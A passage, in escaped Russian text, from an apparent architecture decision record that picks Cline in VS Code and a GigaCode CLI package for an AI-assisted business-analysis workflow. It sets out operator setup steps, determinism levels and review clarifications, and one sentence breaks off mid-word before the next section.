\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f \u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, 